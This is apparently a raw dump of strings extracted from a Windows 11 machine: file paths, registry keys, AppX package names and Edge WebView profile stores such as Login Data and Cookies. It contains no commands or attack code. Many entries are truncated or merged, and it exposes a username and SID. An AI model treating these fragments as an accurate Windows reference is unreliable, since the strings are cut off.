Microsoft.WindowsCamera_2025.2510.2.0_x64__8wekyb3d8bbwee MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Users\job\AppData\Local\Packages\Microsoft.MPEG2VideoExtension_8wekyb3d8bbwe\RoamingState ISTRY\MACHINE\SYSTEM\Control MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy000 Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe Microsoft.XboxGamingOverlay_7.325.7221.0_x64__8wekyb3d8bbwe \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\INetCookies\PrivacIE\Low \Device\HarddiskVolume3\Users\job\AppData\LocalLow\Microsoft\Internet Explorer\EmieUserList MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Registry\user\S-1-5-21-3914889805-4071901059-918772286-1001\Software\Microsoft\WcmSvc\Tethering \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\TokenBrokerxyewy \Device\HarddiskVolume3\Users\job\AppData\LocalLow\Microsoft\Internet Explorer\IEFlipAheadCache \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\INetCookies\DNTException\Low Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe \Device\HarddiskVolume3\Users\job\AppData\LocalLow\Microsoft\Internet Explorer\EdpDomStore \Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\AC Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Users\job\AppData\Local\Packages\Microsoft.WebMediaExtensions_8wekyb3d8bbwe\RoamingState \REGISTRY\USER\S-1-5-21-3914889805-4071901059-918772286-1001_Classes\PackagedCom\Package dows\System32\winevt\Logs\Mi Microsoft-Windows-CloudRestoreLauncher%4Operational.evtxtxyewy WINDOWS\system32\BackgroundT Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwer Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe \Users\job\AppData\Local\Packages\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\RoamingState MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Users\job\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe \Users\job\AppData\Local\Packages\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\LocalState istry\Machine\Software\Class StickyNotesAppList.targetsize-32_altform-lightunplated.pngCF0} \Program Files\WindowsApps\Microsoft.XboxGamingOverlay_7.325.7221.0_x64__8wekyb3d8bbwe\Assets ISTRY\MACHINE\SOFTWARE\Micro8WindowsInternal.ComposableShell.Experiences.Switcher.dlle MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SYSTEM\ControlSet001\CONTROL\VIDEO\{67E8BE58-0EC0-11F1-B1F7-806E6F6E6963}\0000 Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists \Program Files\WindowsApps\Microsoft.BingWeather_3.2.10.0_neutral_split.scale-100_8wekyb3d8bbwe \Users\job\AppData\Local\Packages\Microsoft.PowerAutomateDesktop_8wekyb3d8bbwe\LocalCacheche MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe ISTRY\MACHINE\SOFTWARE\Micro:MediaPlayerAppList.targetsize-32_altform-lightunplated.png MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe \Users\job\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\AppData Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\Mu \Users\job\AppData\Local\Packages\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\RoamingState \Users\job\AppData\Local\Packages\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\LocalCache Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe \Users\job\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalCacheate U:MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy!CortanaUI SearchHost.exe yewy \Program Files\WindowsApps\Microsoft.MicrosoftStickyNotes_4.0.6105.0_x64__8wekyb3d8bbwe\Assets Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe \Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Public\wsxpacks\StartMenuesr32 Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe \Program Files\WindowsApps\Clipchamp.Clipchamp_4.3.10120.0_neutral_split.scale-100_yxz26nhyzhsrt \Device\HarddiskVolume3\Windows\System32\Windows.Security.Authentication.OnlineId.dll \Users\job\AppData\Local\Packages\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\AppData Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe \REGISTRY\MACHINE\SOFTWA Microsoft.MicrosoftStickyNotes_4.0.6105.0_x64__8wekyb3d8bbwen \Device\HarddiskVolume3\Windows\System32\Windows.Security.Authentication.Web.Core.dll Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe ISTRY\MACHINE\SYSTEM\Control Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe8}\0000 \Program Files\WindowsApps\Microsoft.BingWeather_3.2.10.0_x64__8wekyb3d8bbwe\Assets\AppTiles Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy ISTRY\MACHINE\SYSTEM\Control Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\0002 ISTRY\MACHINE\SYSTEM\Control MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy005 \Device\HarddiskVolume3\Windows\System32\CloudRestoreLauncher.dll MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\WebCache\V01.log Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\WebCache\V01.chk MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy \Users\job\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\RoamingState MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Program Files\WindowsApps\Microsoft.WindowsCamera_2025.2510.2.0_x64__8wekyb3d8bbwe\Assets ISTRY\MACHINE\SOFTWARE\Micro Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe \Users\job\AppData\Local\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\AC\INetCache \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy ISTRY\MACHINE\SOFTWARE\Micro Microsoft.HEVCVideoExtension_2.4.39.0_x64__8wekyb3d8bbwee \Users\job\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\LocalCache Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe \REGISTRY\USER\S-1-5-21-3914889805-4071901059-918772286-1001_Classes\PackagedCom\Package \Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\LocalState \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\AppData MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy \Users\job\AppData\Local\Packages\Microsoft.PowerAutomateDesktop_8wekyb3d8bbwe\LocalState \Users\job\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy \Users\job\AppData\Local\Packages\Microsoft.AVCEncoderVideoExtension_8wekyb3d8bbwe\LocalState \Users\job\AppData\Local\Packages\Microsoft.PowerAutomateDesktop_8wekyb3d8bbwe\RoamingState ISTRY\MACHINE\SYSTEM\Control Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe3}\0002 LOCK Cookies LOG.old \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Vpn Tokens tate\MANIFEST-000017 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\commerce_subscription_db\LOG Cookies-journal \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\BrowsingTopicsState RF100d6.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Extension State\LOCK se\CURRENT Favicons \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\discounts_db\LOG.old RFa1ae.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\History \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Web Data \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Site Characteristics Database\MANIFEST-000019 2286-1001.pckgdep discount_infos_db discounts_db Indexed Rules C_1255.NLS \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\identity_proxy\internal.identity_helper.exe.manifest \CURRENT btmp \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\AutoLaunchProtocolsComponent\1.0.0.10 \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Sessions Code Cache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\WebStorage eCache\index MANIFEST-000019 the-real-index \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\GPUCache\data_2 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\SharedStorage Vpn Tokens Login Data \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Sync Data\LevelDB\LOG \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\CertificateRevocation\6498.2025.9.4 6498.2025.9.4 index-dir \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Login Data-journal Domain Actions 3.0.0.16 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\commerce_subscription_db\LOG hyphen-data \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Reporting and NEL 120.0.6050.0 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\commerce_subscription_db base \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Local Storage\leveldb\000024.log 09c.TMP onStore.dat appraiser.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\shared_proto_db 000017.dbtmp \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\Database\000017.ldb LOG.old \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\IndexedDB\https_www.bing.com_0.indexeddb.leveldb\LOCK \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\shared_proto_db\LOG.old btmp \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.7705_none_85b39051f7b2640a\comctl32.dll:WofCompressedData mpressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\ScriptCache\index-dir\the-real-index \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat win_x64 \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\icudtl.dat \ProgramData\Microsoft\Windows Defender\Scans\mpcache-DADA29A4EF6E5A2D592C68A16E563385C71EF9D9.bin.79 \Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelPerformanceCounters.dll \Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.26100.7309_none_87ef0e2f7a2c9771 \Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.7824_none_3e0870b2e3345462 \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe \ProgramData\Microsoft\Windows Security Health\Logs\SHS-02242026-090644-7-1ff-26100.1.amd64fre.ge_release.240331-1435.etl C:\ProgramData\Microsoft\Windows Security Health\Logs\SHS-02242026-090644-7-1ff-26100.1.amd64fre.ge_release.240331-1435.etl \Users\job\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat \Windows\Microsoft.NET\Framework64\v4.0.30319\CORPerfMonExt.dll \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Login Data \Windows\System32\en-US\Windows.Security.Authentication.Web.Core.dll.mui \Windows\System32\winevt\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx \Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Inventory.evtx \Windows\System32\SecurityHealth\10.0.29510.1001-0\en-US\SecurityHealthSSO.dll.mui \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Vpn Tokens \ProgramData\Microsoft\Windows Defender\Scans\mpcache-DADA29A4EF6E5A2D592C68A16E563385C71EF9D9.bin.83 ]Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat Microsoft.StartExperiencesApp_8wekyb3d8bbwe!MicrosoftStart!!MicrosoftStartDailyDiscoveryWidgets \Program Files\WindowsApps\Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe\ \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\GPUCache\data_0 \ProgramData\Microsoft\Windows Defender\Definition Updates\Updates \ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe\ActivationStore.dat \Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.7824_none_3e0870b2e3345462 \Windows\Microsoft.NET\Framework64\v4.0.30319\en-US\ServiceModelPerformanceCounters.dll.mui \Windows\Microsoft.NET\Framework64\v4.0.30319\WorkflowServiceHostPerformanceCounters.dll \Program Files\WindowsApps\MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy\ \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\History \Device\HarddiskVolume3\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Windows\Caches\cversions.3.db \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\BrowsingTopicsSiteData \Program Files\WindowsApps\MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy\resources.pri \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Session Storage\LOCK \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\ExtensionActivityComp \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\GPUCache\data_1 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Cookies dows\System32\CatRoot\{127D0]Microsoft-Windows-Network-Foundation-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat \Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.7824_none_3e0870b2e3345462 \Windows\WinSxS\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.26100.7824_none_6ef363983dc6ce30 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Trust Tokens rs\job\AppData\Local\Package\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat \Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthHost.exe ]Microsoft-Hyper-V-Offline-Common-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\v8_context_snapshot.bin \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedge_100_percent.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedge_200_percent.pak \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthCore.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedge_100_percent.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\icudtl.dat \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Trust Tokens \Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\resources.pri \Windows\SystemApps\MicrosoftWindows.Client.Core_cw5n1h2txyewy\Taskbar.View.dll \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\History-journal \Windows\WinSxS\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.26100.7824_none_6ef363983dc6ce30\GdiPlus.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe \Device\HarddiskVolume3\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Windows\Caches\cversions.3.db \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70 \Users\job\AppData\Local\Packages\Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\LocalCache \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GrShaderCache\index \Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthAgent.dll \Program Files\WindowsApps\Microsoft.MicrosoftStickyNotes_4.0.6105.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata \Registry\Machine\System\CurrentControlSet\Control\Srp\GP\ n\ProfileList rosoft-Hyper-V-Offline-Commo[Microsoft-Windows-Basic-Http-Minio-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\resources.pak ^Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat microsoft.yourphone_8wekyb3d8bbwe microsoft.yourphone_8wekyb3d8bbwe \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GrShaderCache\data_1 \Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\ux-phui.dll Microsoft.StartExperiencesApp_8wekyb3d8bbwe!MicrosoftStart!!MicrosoftStartFinanceWidgets \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GrShaderCache\data_0 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\DawnWebGPUCache\data_0 _Microsoft-OneCore-Connectivity-UsbHost-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\DawnWebGPUCache\data_3 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\DawnWebGPUCache\data_2 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GrShaderCache\index \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GrShaderCache\data_3 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GrShaderCache\data_1 \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70 \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedge_200_percent.pak \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GrShaderCache\data_0 \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\en-US.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\libEGL.dll \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GraphiteDawnCache\data_0 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Top Sites \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\manifest.json \REGISTRY\MACHINE\System\CurrentControlSet\Control\AppID\Configuration\SMARTLOCKER \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\DawnWebGPUCache\index \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\DawnGraphiteCache \Users\job\AppData\Local\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat.LOG1 \Program Files\WindowsApps\MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy\microsoft.system.package.metadata \Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4KeyMgmt.evtx \Windows\System32\winevt\Logs\Microsoft-Windows-CloudRestoreLauncher%4Operational.evtx \Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthProxyStub.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\resources.pak ^Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GraphiteDawnCache\data_0 \Device\HarddiskVolume3\Windows\System32\smartscreen.exe \Users\job\AppData\Local\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat.LOG2 \Users\job\AppData\Local\Microsoft\GameDVR\KnownGameList.bin \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Login Data For Account \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GraphiteDawnCache\data_1 \Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthAgent.dll \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GrShaderCache\data_3 \Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4CertInUse.evtx \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Cache\Cache_Data\index \REGISTRY\USER\S-1-5-21-3914889805-4071901059-918772286-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts \Sessions\1\AppContainerNamedObjects\S-1-15-2-350187224-1905355452-1037786396-3028148496-2624191407-3283318427-1255436723 \Windows\System32\LogFiles\WMI\RtBackup\EtwRTTerminal-Services-LSM-ApplicationLag-5780.etl \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Cache\Cache_Data\data_0 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GraphiteDawnCache\data_1 \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpCmdRun.exe \Program Files\WindowsApps\Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe\Microsoft.Windows.Widgets.dll \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\DawnGraphiteCache\index \Program Files\WindowsApps\Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe\WinStore.App.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\Mu\Content \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\shared_proto_db\LOG \Program Files\WindowsApps\Microsoft.VCLibs.140.00.UWPDesktop_14.0.33728.0_x64__8wekyb3d8bbwe\msvcp140.dll \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Cache\Cache_Data\index \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GraphiteDawnCache\data_2 \Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\~FontCache-S-1-5-18.dat \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GraphiteDawnCache\data_2 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Cache\Cache_Data\data_1 \Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG2 